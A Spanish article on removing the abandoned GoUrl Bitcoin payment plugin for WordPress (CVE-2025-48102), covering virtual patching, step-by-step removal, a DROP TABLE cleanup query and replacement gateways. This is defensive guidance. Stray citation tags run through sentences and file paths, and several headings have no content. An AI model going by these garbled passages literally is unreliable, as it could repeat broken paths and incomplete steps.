Los expertos en seguridad de Dotwise enfatizan: “El código sigue siendo accesible. Incluso cuando el plugin está desactivado, sus archivos permanecen almacenados en tu servidor. Si el plugin tiene vulnerabilidades conocidas, un hacker puede explotarlas accediendo directamente a los archivos del plugin. “
Ataques dirigidos: Los ciberdelincuentes a menudo escanean sitios web en busca de ciertos plugins vulnerables . Si un plugin vulnerable existe en tu servidor, incluso si está deshabilitado, un atacante aún puede atacarlo. magnatechnology+1
Los expertos de Qode Interactive advierten: “Desactivar un plugin en lugar de eliminarlo es excelente para diagnósticos y resolución de problemas, pero siempre está pensado solo para uso a corto plazo. Si quieres que tu sitio de WordPress sea lo más seguro posible frente a los hackers, deberías eliminar todos los plugins no utilizados y sus archivos. “
Plugins desactualizados: Los plugins desactivados a menudo se pasan por alto durante el mantenimiento regular de WordPress . Si un plugin no se actualiza para corregir vulnerabilidades de seguridad, puede convertirse en un eslabón débil en la seguridad de tu sitio. Los hackers a menudo explotan software desactualizado, y un plugin desactivado no es una excepción.dotwise+1
El equipo de Magna Technology señala: “Uno de los problemas más críticos con los plugins desactivados es la seguridad. Aunque los plugins desactivados no se ejecutan, permanecen en tu instalación de WordPress y pueden convertirse en una vulnerabilidad si no se actualizan regularmente. Los hackers a menudo explotan plugins desactualizados para obtener acceso a los sitios web, incluso si esos plugins están inactivos . “
La naturaleza específica de CVE-2025-48102 es que el plugin GoUrl Bitcoin Payment Gateway ya no recibe soporte de sus desarrolladores . Esto crea una situación única y extremadamente peligrosa para todos los usuarios del plugin. patchstack+1
Posición oficial de Patchstack: La página de vulnerabilidades de Patchstack afirma claramente: “¡Es probable que este software esté abandonado! Este software se actualizó por última vez hace más de un año y probablemente no recibirá más actualizaciones ni parches. Por favor, considera urgentemente reemplazar el software por una alternativa.” patchstack
Advertencia crítica sobre la desactivación: Patchstack afirma específicamente: “Ten en cuenta que desactivar el software no elimina el riesgo de seguridad a menos que se implemente un parche virtual (vPatch).” patchstack
Recomendación de los expertos de Wiz : Los expertos de la plataforma Wiz lo afirman sin rodeos: “Dado que no existe una solución oficial y el software se considera abandonado, la medida de mitigación recomendada es eliminar y reemplazar el plugin por una alternativa mantenida activamente .
Vulnerabilidad persistente: Sin el soporte de los desarrolladores, no se publicarán actualizaciones de seguridad . Esto significa que cualquier vulnerabilidad descubierta, incluida CVE-2025-48102, permanecerá sin parchear para siempre. wiz +1
Acumulación de riesgos: Con el tiempo , pueden descubrirse vulnerabilidades adicionales que también quedan sin parchear. Según las estadísticas de Patchstack, 1,450 plugins —una cifra asombrosa— fueron eliminados del repositorio de WordPress.org en 2024 debido a vulnerabilidades de prioridad alta o media .
Incompatibilidad con versiones futuras: Los plugins abandonados pueden volverse incompatibles con versiones futuras de WordPress, PHP u otras dependencias , lo que genera problemas adicionales de funcionalidad y seguridad. mainwp +1
Parcheo Virtual es una técnica de seguridad que bloquea los exploits conocidos antes de que lleguen al código vulnerable , sin realizar ningún cambio en la propia aplicación. wp-umbrella+2
Definición de OWASP: La organización OWASP define el parcheo virtual como “un nivel de aplicación de políticas de seguridad que impide la explotación de una vulnerabilidad conocida. “
Cómo funciona: Los parches virtuales analizan las transacciones e interceptan los ataques en tránsito, por lo que el tráfico malicioso nunca llega a la aplicación web . Como resultado, aunque el código fuente real de la aplicación no se haya modificado, los intentos de explotación fallan.owasp+1
Especificidad de la vulnerabilidad: A diferencia de los cortafuegos de aplicaciones web (WAF) de propósito general, que se basan en patrones de detección amplios, los parches virtuales se escriben como reglas específicas que coinciden con payloads concretos . Si un plugin tiene una vulnerabilidad de inyección SQL o de cross-site scripting, un parche virtual puede interceptar y bloquear la firma de solicitud exacta que la explota. wp-umbrella+1
Tecnología de Patchstack: Patchstack utiliza reglas JSON específicas de vulnerabilidades que pueden incluir diversas instrucciones. Por ejemplo, para la inyección SQL, que puede lograrse incluyendo un payload malicioso en el parámetro id de la solicitud POST, un parche virtual puede utilizar un enfoque de lista blanca , donde el id solo puede contener un número. patchstack+1
Despliegue automatizado: Cuando se descubre una vulnerabilidad y se documenta con un identificador CVE, los investigadores de seguridad —o plataformas como Patchstack— verifican la vulnerabilidad y documentan exactamente cómo funciona el exploit . Esto se convierte en la base de un parche virtual, que luego puede desplegarse automáticamente en todos los sitios protegidos .
Ventajas clave:
Limitaciones críticas para CVE-2025-48102:
A pesar de todos los beneficios del parcheo virtual, no es una solución a largo plazo para el plugin GoUrl abandonado . Patchstack advierte claramente que desactivar el software no elimina la amenaza de seguridad a menos que se despliegue un parche virtual . Sin embargo, depender únicamente de un parche virtual para la protección continua contra software abandonado es una estrategia peligrosa , ya que:patchstack
Teniendo en cuenta todos los factores— la falta de una corrección oficial, la condición de software abandonado, la insuficiencia de la desactivación y la naturaleza temporal del parcheo virtual —los expertos son unánimes: la única solución eficaz para CVE-2025-48102 es la eliminación completa del GoUrl .wiz plugin . +1
Consenso de los expertos:

Paso 1: crea una copia de seguridad completa de Jetpack+1
Antes de eliminar cualquier plugin , asegúrate de crear una copia de seguridad completa de tu sitio, incluidos los archivos y la base de datos. Esto garantizará que puedas restaurar tu sitio si surgen problemas. Herramientas recomendadas: liquidweb+1
Paso 2: desactiva el plugin a través del kinsta+1 escritorio
Inicia sesión en el escritorio de WordPress y ve a Plugins → Plugins instalados . Busca GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership y haz clic en «Desactivar». kinsta+1
Paso 3: elimina el plugin wpbeginner+1 de WordPress
Después de desactivarlo, haz clic en «Eliminar» bajo el nombre del plugin. WordPress eliminará los archivos del plugin del /wp-content/plugins/.jetpack+3 directorio.
Paso 4: limpia la base de datos de las tablas residuales liquidweb+2
Un paso crítico: Muchos plugins de WordPress crean sus propias tablas en la base de datos que no se eliminan automáticamente al desinstalar el plugin. Estas «tablas huérfanas» siguen ocupando espacio y pueden contener datos sensibles. youtubeonlinemediamasters+3
Métodos de limpieza de la base de datos:
A. Uso de plugins para limpiar la base de datos: nitropack+2
Advanced Database Cleaner es un plugin integral de limpieza de bases de datos de WordPress: wordpress+1
WP-Optimize es una popular herramienta de optimización: jetpack+2
Plugins Garbage Collector es un plugin especializado para detectar tablas huérfanas: YouTube
B. Limpieza manual mediante phpMyAdmin: mehulgohil+2
Para usuarios avanzados:
wp_gourl_*, wp_crypto_files, wp_crypto_payments, wp_crypto_membership, wp_crypto_products)wordpress+1Consulta SQL para eliminar tablas específicas: liquidweb
sql:DROP TABLE wp_gourl_tablename;
Reemplaza wp_gourl_tablename con el nombre real de la tabla. Comprueba siempre dos veces que ningún otro plugin esté usando la tabla.
Paso 5: comprueba si hay archivos residuales jetpack+1
Algunos plugins pueden crear archivos fuera del directorio de plugins . Comprueba el directorio /wp-content/uploads/ en busca de carpetas asociadas a GoUrl (por ejemplo, [ /wp-content/uploads/gourl/wordpress+2]) y elimínalas mediante FTP o el administrador de archivos de tu hosting.
Paso 6: elimina los shortcodes no utilizados
Si se usaron shortcodes de GoUrl en el contenido de tu sitio, se volverán inactivos y se mostrarán como texto . Búscalos y elimínalos manualmente de las entradas y páginas.
Al elegir un reemplazo para GoUrl, debes considerar los siguientes factores:
1. Soporte activo y actualizaciones periódicas: wp-content+1
2. Una sólida reputación de seguridad: paymattic+1
3. Compatibilidad técnica: crocoblock+1

BTCPay Server es una solución autohospedada y de código abierto: instawp+2
Blockonomics es una pasarela de pago descentralizada: slashdot+2
CryptoPay (de BeycanPress) es una pasarela de pago cripto integral: beycanpress+1
CoinGate es un procesador de pagos blockchain de confianza: g2+2
MyCryptoCheckout es un plugin centrado en la privacidad: instawp+2
ABC Crypto Checkout – Pagos cripto directos: crocoblock+1
1. Escaneo de malware: solidwp+1
2. Verificación de cuentas de administrador: wordfence+1
3. Análisis de registros de acceso: wp-rocket+1
1. Audite regularmente los plugins instalados: patchstack+2
2. Implementación de la política de gestión de plugins: wp-eventmanager+1
3. Automatice las actualizaciones de seguridad: wp-eventmanager+1
Para CVE-2025-26541 (CodeSolz):